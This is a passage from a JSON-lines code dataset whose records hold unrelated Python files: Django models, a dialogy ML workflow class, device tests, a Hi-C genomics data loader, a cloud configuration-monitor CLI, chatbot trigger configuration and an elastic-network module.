pred:\r\n print(p)\r\n if args.verbose: print('Time elapsed in real time feature extraction: ', time.time()-start)\r\n sys.stdout.flush()\r\n except KeyboardInterrupt: parser.exit()\r\n elif input('Model not Found. Train inbuilt first(y/n)').lower() in ['Y', 'yes', 'y', '']:\r\n train()\r\n real_time_predict(args)\r\n\r\n\r\ndef main(args):\r\n if args.train: train(args)\r\n elif args.predict: predict(args)\r\n elif args.rpredict: real_time_predict(args)\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(description=__doc__)\r\n parser.add_argument('-t', '--train', action='store_true')\r\n parser.add_argument('-m', '--model', metavar='path', default='trained_model.h5')\r\n parser.add_argument('-e', '--epochs', metavar='N', default=500, type=int)\r\n parser.add_argument('-p', '--predict', action='store_true') #Predict\r\n parser.add_argument('-r', '--rpredict', action='store_true') #RealTimePredict\r\n parser.add_argument('-v', '--verbose', action='store_true') #verbose\r\n parser.add_argument('-b', '--batch-size', metavar='size', default=64, type=int)\r\n args = parser.parse_args()\r\n main(args)","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"509075389","text":"from django.db import models\n\n# Create your models here.\n\nclass User(models.Model):\n username = models.CharField(max_length=50, null=False, blank=False, unique=True)\n first_name = models.CharField(max_length=50, null=False, blank=False, unique=True)\n last_name = models.CharField(max_length=50, null=False, blank=False, unique=True)\n middle_name = models.CharField(max_length=50, null=False, blank=False, unique=True)\n birthday = models.DateField()\n email = models.EmailField(max_length=50, null=False, blank=False, unique=True)\n phone = models.CharField(max_length=50,null=False, blank=False,)\n MALE = 'М'\n FEMALE = 'Ж'\n gender_choices = (\n (MALE, 'Мужской'),\n (FEMALE, 'Женский'),\n )\n sex = models.CharField(choices=gender_choices, max_length=1, default=MALE)\n\nclass Computer(models.Model):\n name = models.CharField(max_length=70)\n image = models.ImageField(null=True, blank=True, upload_to=\"images/\",\n width_field=\"width_field\",\n height_field=\"height_field\")\n height_field = models.IntegerField(default=0)\n width_field = models.IntegerField(default=0)\n description = models.TextField(max_length=2000, null=False, blank=False)\n price = models.IntegerField()\n\nclass Order(models.Model):\n user = models.ForeignKey('User')\n computer = models.ForeignKey('Computer')\n address = models.CharField(max_length=255,null=False, blank=False)\n delivery_date = models.DateTimeField()\n count = models.ForeignKey('Computer', related_name=\"Count\")\n","sub_path":"my_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"571514388","text":"\"\"\"\n.. _workflow:\n\nA :code:`workflow` is supposed to run tasks that can be anticipated well in advance.\n\nHere are few demo's where you can see mock :code:`workflow` in action.\n\n- :ref:`RuleBasedSlotFillerPlugin`\n- :ref:`VotePlugin`\n- :ref:`DucklingPlugin`\n\nA workflow is a hollow conduit, think of a vertically hanging pipe without any medium. If you were to drop a block of ...\n`anything`? through it, it would pass through with a thud on the ground `(yes we assumed gravity)`.\n\nStructure\n----------\n\nA workflow allows flexibility, that's why. There is very little structure to it. We have:\n\n- input\n- output\n- preprocessors\n- postprocessors\n\nApart from these, we expect at the core, an inference function with machine learning models. Which ones? A N Y ones.\nAs long as you have the compute, there is no restriction. Use statistical models or DL or a bunch of conditions,\nyour :ref:`Workflow ` won't judge you.\n\nAdvantages\n-----------\n\nThe :ref:`Plugin` concept takes care of the sauciness 🍅 of this project. Any functionality can be bundled into\na :ref:`Plugin` and they are portable over to foreign workflows. A :ref:`Plugin` proxies inputs through\nan :code:`access` function (an argument to every :ref:`Plugin`) and relays output through a :code:`mutate`\nfunction (another argument for every :ref:`Plugin`). These two functions define interactions between many many\n(sic) :ref:`Plugins` without knowing the inner workings of a :ref:`Workflow `.\n\nTake a look at :ref:`DucklingPlugin `, this plugin handles inputs, manages the default :code:`json` output\ninto neatly bundled :ref:`BaseEntity ` and other similar classes. Another plugin\n:ref:`RuleBasedSlotFillerPlugin` takes care of slot names and the entity types that should be filled\nwithin.\n\nIf your classifier predicts an :ref:`Intent` with :ref:`Slots` supporting any of those entities, then\nslot-filling is not a worry.\n\nThe aim of this project is to be largest supplier of plugins for SLU applications.\n\n.. warning:: The :ref:`Workflow` class is not supposed to be used as it is. Ideally it should have been an\n abstract class. There are some design considerations which make that a bad choice. We want methods to be overridden\n to offer flexibility of use.\n\"\"\"\nfrom pprint import pformat\nfrom typing import Any, Callable, Dict, List\n\nimport attr\n\nfrom dialogy import constants as const\nfrom dialogy.utils.logger import dbg, log\n\nPluginFn = Callable[[\"Workflow\"], None]\n\n\n@attr.s\nclass Workflow:\n \"\"\"\n This is a light but fairly flexible workflow for building a machine learning pipeline.\n\n Requirements\n - A list of pre-processing functions.\n - A list of post-processing functions.\n\n Abstract classes put constraints on method signatures which isn't desired because a couple of methods\n here could use more arguments, say, `load_model()` requires `path` and `version` and in some other cases\n `path`, `version` and `language`.\n\n :param preprocessors: A list of functions to execute before inference.\n :type preprocessors: Optional[List[PluginFn]]\n :param postprocessors: A list of functions to execute after inference.\n :type postprocessors: Optional[List[PluginFn]]\n :param debug: log level shifts to debug if True.\n :type debug: bool\n \"\"\"\n\n input: Dict[str, Any] = attr.ib(factory=dict, kw_only=True)\n output: Dict[str, Any] = attr.ib(factory=dict, kw_only=True)\n debug = attr.ib(\n type=bool, default=False, validator=attr.validators.instance_of(bool)\n )\n preprocessors = attr.ib(\n factory=list,\n type=List[PluginFn],\n validator=attr.validators.instance_of(list),\n kw_only=True,\n )\n postprocessors = attr.ib(\n factory=list,\n type=List[PluginFn],\n validator=attr.validators.instance_of(list),\n kw_only=True,\n )\n NON_SERIALIZABLE_FIELDS = [const.PREPROCESSORS, const.POSTPROCESSORS, const.DEBUG]\n\n def __attrs_post_init__(self) -> None:\n \"\"\"\n Post init hook.\n \"\"\"\n self.set_io()\n\n def set_io(self) -> None:\n \"\"\"\n Use this method to keep workflow-io in the same format as expected.\n \"\"\"\n self.input: Dict[str, Any] = {}\n self.output: Dict[str, Any] = {}\n\n def load_model(self) -> None:\n \"\"\"\n Override method in sub-class to load model(s).\n\n Raises:\n NotImplementedError: Safeguard against using this class directly.\n \"\"\"\n class_name = self.__class__.__name__\n raise NotImplementedError(\n f\"Override method `load_model` in class {class_name}.\"\n )\n\n @dbg(log)\n def update(self, processor_type: str, processors: List[PluginFn]) -> None:\n \"\"\"\n Update input, output attributes.\n\n We iterate through pre/post processing functions and update the input and\n output attributes of the class. It is expected that pre-processing functions\n would modify the input, and post-processing functions would modify the output.\n\n Args:\n processor_type (`str`): One of [\"__preprocessor\", \"__postprocessor\"]\n processors (`List`): The list of preprocess or postprocess functions.\n\n Raises:\n `TypeError`: If any element in processors list is not a Callable.\n \"\"\"\n for processor in processors:\n if not callable(processor):\n raise TypeError(f\"{processor_type}={processor} is not a callable\")\n\n # logs are available only when debug=True during class initialization\n log.debug(\n pformat(\n {\n \"stage\": \"Before\",\n \"type\": processor_type,\n \"plugin\": processor,\n \"input\": self.input,\n \"output\": self.output,\n }\n )\n )\n processor(self)\n # logs are available only when debug=True during class initialization\n log.debug(\n pformat(\n {\n \"stage\": \"After\",\n \"type\": processor_type,\n \"plugin\": processor,\n \"input\": self.input,\n \"output\": self.output,\n }\n )\n )\n\n def preprocess(self) -> None:\n \"\"\"\n Convenience over `update` method.\n\n Uses preprocessors over the `update` method, expect input to change.\n \"\"\"\n self.update(const.PREPROCESSORS, self.preprocessors)\n\n def postprocess(self) -> None:\n \"\"\"\n Convenience over `update` method.\n\n Uses postprocessors over the `update` method, expect output to change.\n \"\"\"\n self.update(const.POSTPROCESSORS, self.postprocessors)\n\n def inference(self) -> None:\n \"\"\"\n Get model predictions.\n\n Depending on the number of models in use. This place can be used to collate results, sort, filter, etc.\n\n Raises:\n `NotImplementedError`: This method needs to be implemented by the sub-classes.\n \"\"\"\n class_name = self.__class__.__name__\n if class_name != \"Workflow\":\n raise NotImplementedError(\n f\"Override method `inference` in class {class_name}.\"\n )\n\n def run(self, input_: Any) -> Any:\n \"\"\"\n .. _workflow_run:\n\n Get final results from the workflow.\n\n The current workflow exhibits the following simple procedure:\n pre-processing -> inference -> post-processing.\n\n Args:\n input_ (`Any`): This function receives any arbitrary input. Subclasses may enforce\n a stronger check.\n\n Returns:\n (`Any`): This function can return any arbitrary value. Subclasses may enforce a stronger check.\n \"\"\"\n self.input = input_\n self.preprocess()\n self.inference()\n self.postprocess()\n return self.output\n\n def flush(self) -> None:\n \"\"\"\n Reset :code:`workflow.input` and :code:`workflow.output`.\n \"\"\"\n self.set_io()\n\n def json(self) -> Dict[str, Any]:\n \"\"\"\n Represent the workflow as a python dict.\n\n :rtype: Dict[str, Any]\n \"\"\"\n return attr.asdict(\n self,\n filter=lambda attribute, _: attribute.name\n not in self.NON_SERIALIZABLE_FIELDS,\n )\n","sub_path":"dialogy/workflow/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":8633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"94541737","text":"import logging\nimport pytest\nimport pcdsdevices.utils as key_press\n\nfrom ophyd.sim import make_fake_device\nfrom pcdsdevices.analog_signals import Acromag, Mesh\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.fixture(scope='function')\ndef fake_acromag():\n FakeAcromag = make_fake_device(Acromag)\n acromag = FakeAcromag('Test:Acromag', name='test_acromag')\n acromag.ao1_0.sim_put(1.0)\n acromag.ao1_1.sim_put(1.0)\n acromag.ao1_2.sim_put(1.0)\n acromag.ao1_3.sim_put(1.0)\n acromag.ao1_4.sim_put(1.0)\n acromag.ao1_5.sim_put(1.0)\n acromag.ao1_6.sim_put(1.0)\n acromag.ao1_7.sim_put(1.0)\n acromag.ao1_8.sim_put(1.0)\n acromag.ao1_9.sim_put(1.0)\n acromag.ao1_10.sim_put(1.0)\n acromag.ao1_11.sim_put(1.0)\n acromag.ao1_12.sim_put(1.0)\n acromag.ao1_13.sim_put(1.0)\n acromag.ao1_14.sim_put(1.0)\n acromag.ao1_15.sim_put(1.0)\n\n acromag.ai1_0.sim_put(1.0)\n acromag.ai1_1.sim_put(1.0)\n acromag.ai1_2.sim_put(1.0)\n acromag.ai1_3.sim_put(1.0)\n acromag.ai1_4.sim_put(1.0)\n acromag.ai1_5.sim_put(1.0)\n acromag.ai1_6.sim_put(1.0)\n acromag.ai1_7.sim_put(1.0)\n acromag.ai1_8.sim_put(1.0)\n acromag.ai1_9.sim_put(1.0)\n acromag.ai1_10.sim_put(1.0)\n acromag.ai1_11.sim_put(1.0)\n acromag.ai1_12.sim_put(1.0)\n acromag.ai1_13.sim_put(1.0)\n acromag.ai1_14.sim_put(1.0)\n acromag.ai1_15.sim_put(1.0)\n return acromag\n\n\n@pytest.fixture(scope='function')\ndef fake_mesh():\n FakeMesh = make_fake_device(Mesh)\n # Using SP channel = 1, RB channel = 2, scale = 1000\n mesh = FakeMesh('Test:Mesh', 1, 2)\n mesh.write_sig.sim_put(1.0)\n mesh.read_sig.sim_put(1.05) # rb will be slightly off from sp\n return mesh\n\n\ndef test_acromag_readback(fake_acromag):\n assert fake_acromag.ao1_0.get() == 1.0\n assert fake_acromag.ai1_13.get() == 1.0\n\n\ndef test_get_raw_mesh_voltage(fake_mesh):\n assert fake_mesh.get_raw_mesh_voltage() == 1.05\n\n\ndef test_get_mesh_voltage(fake_mesh):\n assert fake_mesh.get_mesh_voltage() == 1050.0\n\n\ndef test_set_mesh_voltage(fake_mesh):\n fake_mesh.set_mesh_voltage(1500.0)\n assert fake_mesh.write_sig.get() == 1.5\n\n\ndef test_set_rel_mesh_voltage(fake_mesh):\n fake_mesh.set_rel_mesh_voltage(500.0)\n assert fake_mesh.write_sig.get() == 1.5\n fake_mesh.set_rel_mesh_voltage(-500.0)\n assert fake_mesh.write_sig.get() == 1.0\n\n\ndef test_tweak_mesh_voltage(fake_mesh, monkeypatch):\n # Create mock user inputs for tweak up/down\n def mock_tweak_up():\n return '\\x1b[C' # arrow right\n\n def mock_tweak_down():\n return '\\x1b[D' # arrow left\n\n monkeypatch.setattr(key_press, 'get_input', mock_tweak_up)\n fake_mesh.tweak_mesh_voltage(500.0, test_flag=True)\n assert fake_mesh.write_sig.get() == 1.5\n monkeypatch.setattr(key_press, 'get_input', mock_tweak_down)\n fake_mesh.tweak_mesh_voltage(500.0, test_flag=True)\n assert fake_mesh.write_sig.get() == 1.0\n","sub_path":"tests/test_analog_signals.py","file_name":"test_analog_signals.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"435207143","text":"import matplotlib.pyplot as plt\nimport os\nimport sys\nfrom Utils import utils as ut\nimport pdb\nimport subprocess\nimport glob\nimport pytorch_lightning as pl\nimport numpy as np\nfrom torch.utils.data import random_split, DataLoader, Dataset\n\n\nclass IMR90Module(pl.LightningDataModule):\n def __init__(self,\n batch_size = 64,\n res = 10000,\n juicer_tool = \"other_tools/juicer_tools_1.22.01.jar\",\n piece_size=269):\n super().__init__()\n self.juicer_tool = juicer_tool\n self.batch_size = batch_size\n self.line = \"IMR90\"\n self.res = res\n self.low_res_fn = \"Data/GSM1551602_HIC053_30.hic\"\n self.hi_res_fn = \"Data/GSE63525_IMR90_combined_30.hic\"\n self.step = 50\n self.piece_size = piece_size\n\n def download_raw_data(self):\n globs = glob.glob(self.low_res_fn)\n found_data = (globs[0] == self.low_res_fn)\n if not found_data:\n print(\"downloading from GSE ... this could take a while\")\n subprocess.run(\"bash scripts/getSmallData.sh\", shell=True) \n else:\n print(\"data found\")\n\n globs = glob.glob(self.high_res_fn)\n found_data = (globs[0] == self.high_res_fn)\n if not found_data:\n print(\"downloading from GSE ... this could take a while\")\n subprocess.run(\"bash scripts/getSmallData.sh\", shell=True) #TODO fix\n else:\n print(\"data found\")\n\n def extract_constraint_mats(self):\n #extract hi res\n if not os.path.exists(\"Data/Constraints\"):\n subprocess.run(\"mkdir Data/Constraints\", shell=True)\n for i in [4]:#range(14,5):\n juice_command = \"java -jar \"\\\n \"\"+str(self.juicer_tool)+\" dump observed KR \"\\\n \"\"+str(self.hi_res_fn)+\" \"+str(i)+\" \"+str(i)+\"\"\\\n \" BP \"+str(self.res)+\" Data/Constraints/\"+self.line+\"_high_chr\"+str(i)+\"_res_\"+str(self.res)+\".txt\"\n subprocess.run(juice_command, shell=True)\n juice_command = \"java -jar \"\\\n \"\"+str(self.juicer_tool)+\" dump observed KR \"\\\n \"\"+str(self.low_res_fn)+\" \"+str(i)+\" \"+str(i)+\"\"\\\n \" BP \"+str(self.res)+\" Data/Constraints/\"+self.line+\"_low_chr\"+str(i)+\"_res_\"+str(self.res)+\".txt\"\n subprocess.run(juice_command, shell=True)\n\n def extract_create_numpy(self):\n if not os.path.exists(\"Data/Full_Mats\"):\n subprocess.run(\"mkdir Data/Full_Mats\", shell=True)\n\n globs = glob.glob(\"Data/Constraints/\"+self.line+\"_high_chr4_res_\"+str(self.res)+\".txt\")\n if len(globs)==0:\n print(\"wait ... first we need to juice out those constraints\")\n self.extract_constraint_mats()\n\n for i in [4]:\n print(\"imr90\")\n target, data = ut.loadBothConstraints(\"Data/Constraints/\"+self.line+\"_high_chr\"+str(i)+\"_res_\"+str(self.res)+\".txt\",\n \"Data/Constraints/\"+self.line+\"_low_chr\"+str(i)+\"_res_\"+str(self.res)+\".txt\",\n self.res) \n np.save(\"Data/Full_Mats/\"+self.line+\"_mat_high_chr\"+str(i)+\"_res_\"+str(self.res), target)\n np.save(\"Data/Full_Mats/\"+self.line+\"_mat_low_chr\"+str(i)+\"_res_\"+str(self.res), data)\n\n def split_numpy(self):\n if not os.path.exists(\"Data/Splits\"):\n subprocess.run(\"mkdir Data/Splits\", shell=True)\n\n globs = glob.glob(\"Data/Full_Mats/\"+self.line+\"_mat_high_chr4_res_\"+str(self.res)+\".npy\")\n if len(globs) == 0:\n self.extract_create_numpy()\n\n print(\"oh were doing it\")\n for i in [4,16,14,20]:\n target = ut.splitPieces(\"Data/Full_Mats/\"+self.line+\"_mat_high_chr\"+str(i)+\"_res_\"+str(self.res)+\".npy\",self.piece_size, self.step)\n data = ut.splitPieces(\"Data/Full_Mats/\"+self.line+\"_mat_low_chr\"+str(i)+\"_res_\"+str(self.res)+\".npy\", self.piece_size, self.step)\n np.save(\"Data/Splits/\"+self.line+\"_high_chr_\"+str(i)+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size), target)\n np.save(\"Data/Splits/\"+self.line+\"_low_chr_\"+str(i)+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size), data)\n \n def prepare_data(self):\n print(\"Preparing the Preparations ...\")\n globs = glob.glob(\"Data/Splits/\"+self.line+\"_high_chr_4_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+str(\".npy\"))\n if len(globs) == 4:\n print(\"Ready to go\")\n else:\n print(\".. wait, first we need to split the mats\")\n self.split_numpy()\n\n \n class IMR90Dataset(Dataset):\n def __init__(self, full, tvt, res, piece_size):\n self.piece_size = piece_size\n self.tvt = tvt\n self.res = res\n self.full = full\n self.line = 'IMR90'\n if full == True:\n if tvt in list(range(1,23)):\n self.chros=[tvt]\n if tvt == \"train\":\n self.chros = [3,5,6,7,11,12,13,15,17,18,19,21]\n elif tvt == \"val\":\n self.chros = [2,8,10,22]\n elif tvt == \"test\":\n self.chros = [4,14,16,20]\n\n self.target = np.load(\"Data/Splits/\"+self.line+\"_high_chr_\"+str(self.chros[0])+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+\".npy\")\n self.data = np.load(\"Data/Splits/\"+self.line+\"_low_chr_\"+str(self.chros[0])+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+\".npy\")\n self.info = np.repeat(self.chros[0], self.data.shape[0])\n for c, chro in enumerate(self.chros[1:]):\n temp = np.load(\"Data/Splits/\"+self.line+\"_high_chr_\"+str(chro)+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+\".npy\")\n self.target = np.concatenate((self.target, temp))\n temp = np.load(\"Data/Splits/\"+self.line+\"_low_chr_\"+str(chro)+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+\".npy\")\n self.data = np.concatenate((self.data, temp))\n self.info = np.concatenate((self.info, np.repeat(chro, temp.shape[0])))\n\n else:\n if tvt == \"train\":\n self.chros = [15]\n elif tvt == \"val\":\n self.chros = [16]\n elif tvt == \"test\":\n self.chros = [17]\n self.target = np.load(\"Data/Splits/\"+self.line+\"_high_chr_\"+str(self.chros[0])+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+\".npy\")\n self.data = np.load(\"Data/Splits/\"+self.line+\"_low_chr_\"+str(self.chros[0])+\"_res_\"+str(self.res)+\"_piece_\"+str(self.piece_size)+\".npy\")\n self.info = np.repeat(self.chros[0], self.data.shape[0])\n \n\n def __len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, idx):\n return self.data[idx], self.target[idx], self.info[idx]\n\n def setup(self, stage=None):\n if stage in list(range(1,23)):\n self.test_set = self.IMR90Dataset(full=True, tvt=stage, res=self.res, piece_size=self.piece_size)\n if stage == 'fit':\n self.train_set = self.IMR90Dataset(full=True, tvt='train', res=self.res, piece_size=self.piece_size)\n self.val_set = self.IMR90Dataset(full=True, tvt='val', res=self.res, piece_size=self.piece_size)\n if stage == 'test':\n self.test_set = self.IMR90Dataset(full=True, tvt='test', res=self.res, piece_size=self.piece_size)\n \n def train_dataloader(self):\n return DataLoader(self.train_set, self.batch_size, num_workers=12)\n \n def val_dataloader(self):\n return DataLoader(self.val_set, self.batch_size, num_workers=12)\n\n def test_dataloader(self):\n return DataLoader(self.test_set, self.batch_size, num_workers=12)\n\n","sub_path":"Data/IMR90_DataModule.py","file_name":"IMR90_DataModule.py","file_ext":"py","file_size_in_byte":8116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"349975184","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreated on 20 Apr 2021\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\nDESCRIPTION\nThe configuration_monitor utility is used to retrieve configuration information relating to one or more devices.\nFlags enable the selection of either the latest recorded configuration for the device(s), or a history of\nconfiguration changes. In the case of historical reports, either all the field values can be returned, or\nonly those that changed from the previous recording.\n\nSYNOPSIS\nconfiguration_monitor.py [-c CREDENTIALS] [-t TAG [-x]] { -l | -f | -d | -o } [-i INDENT] [-v]\n\nEXAMPLES\nconfiguration_monitor.py -t scs-bgx-401 -d | node.py -s | csv_writer.py -s\n\nSEE ALSO\nscs_analysis/configuration_csv\nscs_analysis/configuration_monitor_check\nscs_analysis/monitor_auth\n\nscs_mfr/configuration\n\"\"\"\n\nimport sys\n\nfrom scs_analysis.cmd.cmd_configuration_monitor import CmdConfigurationMonitor\nfrom scs_analysis.handler.batch_download_reporter import BatchDownloadReporter\n\nfrom scs_core.aws.manager.configuration_finder import ConfigurationFinder\nfrom scs_core.aws.security.cognito_client_credentials import CognitoClientCredentials\nfrom scs_core.aws.security.cognito_login_manager import CognitoLoginManager\n\nfrom scs_core.client.http_exception import HTTPException\n\nfrom scs_core.data.json import JSONify\n\nfrom scs_core.sys.logging import Logging\n\nfrom scs_host.sys.host import Host\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\nif __name__ == '__main__':\n\n logger = None\n\n try:\n # ------------------------------------------------------------------------------------------------------------\n # cmd...\n\n cmd = CmdConfigurationMonitor()\n\n if not cmd.is_valid():\n cmd.print_help(sys.stderr)\n exit(2)\n\n Logging.config('configuration_monitor', verbose=cmd.verbose)\n logger = Logging.getLogger()\n\n logger.info(cmd)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # authentication...\n\n credentials = CognitoClientCredentials.load_for_user(Host, name=cmd.credentials_name)\n\n if not credentials:\n exit(1)\n\n gatekeeper = CognitoLoginManager()\n auth = gatekeeper.user_login(credentials)\n\n if not auth.is_ok():\n logger.error(\"login: %s.\" % auth.authentication_status.description)\n exit(1)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # resources...\n\n # reporter...\n reporter = BatchDownloadReporter()\n\n # ConfigurationFinder...\n finder = ConfigurationFinder(reporter=reporter)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # run...\n\n response = finder.find(auth.id_token, cmd.tag_filter, cmd.exact_match, cmd.response_mode())\n items = list(response)\n\n print(JSONify.dumps(sorted(items), indent=cmd.indent))\n logger.info('retrieved: %s' % len(items))\n\n\n # ------------------------------------------------------------------------------------------------------------\n # end...\n\n except KeyboardInterrupt:\n print(file=sys.stderr)\n\n except HTTPException as ex:\n logger.error(ex.error_report)\n exit(1)\n","sub_path":"src/scs_analysis/configuration_monitor.py","file_name":"configuration_monitor.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"322212584","text":"\"\"\"\nCopyright (c) 2016-2020 Keith Sterling http://www.keithsterling.com\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,\nand to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the\nSoftware.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO\nTHE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\nfrom programy.utils.logging.ylogger import YLogger\nfrom programy.config.base import BaseConfigurationData\nfrom programy.utils.substitutions.substitues import Substitutions\n\n\nclass TriggerConfiguration(BaseConfigurationData):\n LOCAL_MANAGER = \"programy.triggers.local.LocalTriggerManager\"\n REST_MANAGER = \"programy.triggers.rest.RestTriggerManager\"\n\n def __init__(self, name=\"triggers\"):\n BaseConfigurationData.__init__(self, name)\n self._manager = TriggerConfiguration.LOCAL_MANAGER\n\n @property\n def manager(self):\n return self._manager\n\n def additionals_to_add(self):\n return [\"url\", \"method\", \"token\"]\n\n def load_config_section(self, configuration_file, section, bot_root, subs: Substitutions = None):\n del bot_root\n del subs\n triggers = configuration_file.get_section(self._section_name, section)\n if triggers is not None:\n self._manager = configuration_file.get_option(triggers, \"manager\",\n missing_value=TriggerConfiguration.LOCAL_MANAGER)\n self.load_additional_key_values(configuration_file, triggers)\n else:\n YLogger.warning(self, \"'triggers' section missing from client config, using defaults\")\n\n def to_yaml(self, data, defaults=True):\n\n assert data is not None\n\n if defaults is True:\n data['manager'] = TriggerConfiguration.LOCAL_MANAGER\n\n else:\n data['manager'] = self._manager\n","sub_path":"src/programy/triggers/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"632447930","text":"# Copyright 2019 SiFive, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You should have received a copy of LICENSE.Apache2 along with\n# this software. If not, you may obtain a copy at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nfrom copy import deepcopy\nfrom os.path import dirname\nfrom scribble.fixup import apply_patches\n\n\nfrom scribble.model import document\n\n\ndef assert_patch(obj, patch, result):\n obj = deepcopy(obj)\n apply_patches(obj, patch)\n assert result == obj\n\n\ndef test_patches():\n \"\"\"\n Simple tests of the patch mechanism.\n Note test_object has additional tests which explore longer paths.\n \"\"\"\n # Boundary case\n assert_patch({}, {}, {})\n\n # Add a field to an object\n assert_patch({}, {\"a\": 1}, {\"a\": 1})\n assert_patch({\"a\": 1}, {\"b\": 2, \"c\": 3}, {\"a\": 1, \"b\": 2, \"c\": 3})\n\n # Add a new item to an empty array.\n assert_patch([], {\"[0]\": 1}, [1])\n assert_patch([], {\"[+]\": 1}, [1])\n assert_patch([], {\"[++]\": [1]}, [1])\n\n # Add a new item to a non-empty array\n assert_patch([1], {\"[+]\": 2}, [1, 2])\n\n # Replace an existing item\n assert_patch([1], {\"[0]\": 2}, [2])\n assert_patch({\"a\": 1}, {\"a\": 2}, {\"a\": 2})\n\n\ndef test_document():\n\n # Process a trivial document.\n # It invokes both function and and path fixups (F and P)\n # for the document instance (I), the document type (T), and a snippet (S).\n # Each fixup appends two letters to a list which is returned. eg SF is snippet function.\n output = \"/tmp/document.adoc\"\n document(\n config=f\"{DIR}/testdoc_directory/config/document.yaml\",\n directories=[f\"{DIR}/testdoc_directory\"],\n output=output,\n )\n\n # Read the output and verify the fixups were inserted correctly.\n with open(output, \"r\") as f:\n str = f.read()\n\n # We expect to see functions first, then patches in reverse order. Six total.\n assert str == \"TF, TP, IF, IP, SF, SP\"\n\n # clean up\n os.remove(output)\n\n\nDIR = f\"{dirname(__file__)}\"\n","sub_path":"scribble/Test/test_fixups.py","file_name":"test_fixups.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"12606032","text":"# Copyright 2018 University of Groningen\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nProvides a processor that adds a rubber band elastic network.\n\"\"\"\nimport itertools\n\nimport numpy as np\nimport networkx as nx\n\nfrom .processor import Processor\nfrom .. import selectors\n\nDEFAULT_BOND_TYPE = 6\n\n\ndef self_distance_matrix(coordinates):\n \"\"\"\n Compute a distance matrix between points in a selection.\n\n Notes\n -----\n This function does **not** account for periodic boundary conditions.\n\n Parameters\n ----------\n coordinates: numpy.ndarray\n Coordinates of the points in the selection. Each row must correspond\n to a point and each column to a dimension.\n\n Returns\n -------\n numpy.ndarray\n \"\"\"\n return np.sqrt(\n np.sum(\n (coordinates[:, np.newaxis, :] - coordinates[np.newaxis, :, :]) ** 2,\n axis=-1)\n )\n\n\ndef compute_decay(distance, shift, rate, power):\n r\"\"\"\n Compute the decay function of the force constant as function to the distance.\n\n The decay function for the force constant is defined as:\n\n .. math::\n\n \\exp^{-r(d - s)^p}\n\n where :math:`r` is the decay rate given by the 'rate' argument,\n :math:`p` is the decay power given by 'power', :math:`s` is a shift\n given by 'shift', and :math:`d` is the distance between the two atoms given\n in 'distance'. If the rate or the power are set to 0, then the decay\n function does not modify the force constant.\n\n The 'distance' argument can be a scalar or a numpy array. If it is an\n array, then the returned value is an array of decay factors with the same\n shape as the input.\n \"\"\"\n return np.exp(-rate * ((distance - shift) ** power))\n\n\ndef 